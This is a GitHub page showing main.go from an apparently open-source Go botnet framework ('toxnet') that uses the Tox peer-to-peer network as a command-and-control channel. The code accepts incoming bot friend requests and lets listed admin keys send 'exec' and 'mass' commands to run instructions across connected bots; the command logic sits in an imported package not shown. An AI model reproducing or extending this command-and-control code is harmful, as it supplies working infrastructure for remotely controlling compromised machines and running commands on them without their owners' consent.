-
Notifications
You must be signed in to change notification settings - Fork 29
/
Copy pathmain.go
67 lines (54 loc) · 1.4 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"fmt"
"strings"
"time"
"github.com/0x4meliorate/toxnet/net"
tox "github.com/TokTok/go-toxcore-c"
)
func main() {
net.Usage()
var t = net.Tox_instance
net.Bootstrap()
net.ToxWrite()
net.ShowC2()
t.CallbackFriendRequest(func(t *tox.Tox, friendId string, message string, userData interface{}) {
senderNum, err := t.FriendAddNorequest(friendId)
if err != nil {
fmt.Println("[-] Error: Failed to add incoming friend -", senderNum, err)
}
if senderNum < 100000 {
net.ToxWrite()
}
}, nil)
t.CallbackFriendMessage(func(t *tox.Tox, senderNum uint32, message string, userData interface{}) {
senderKey, err := t.FriendGetPublicKey(senderNum)
if err != nil {
fmt.Println(err)
}
messages := strings.Fields(message)
// Check if sender is an admin
for _, admin := range net.Admins {
if senderKey == admin[0:64] {
if strings.ToLower(messages[0]) == "help" {
net.AdminHelp(senderNum)
} else if strings.ToLower(messages[0]) == "list" {
net.AdminList(senderNum)
} else if strings.ToLower(messages[0]) == "exec" {
net.AdminExec(senderKey, messages)
} else if strings.ToLower(messages[0]) == "mass" {
net.AdminMass(senderNum, senderKey, messages)
}
} else {
net.BotResponse(messages)
}
}
}, nil)
// toxcore loops
shutdown := false
for !shutdown {
t.Iterate()
time.Sleep(1000 * 50 * time.Microsecond)
}
t.Kill()
}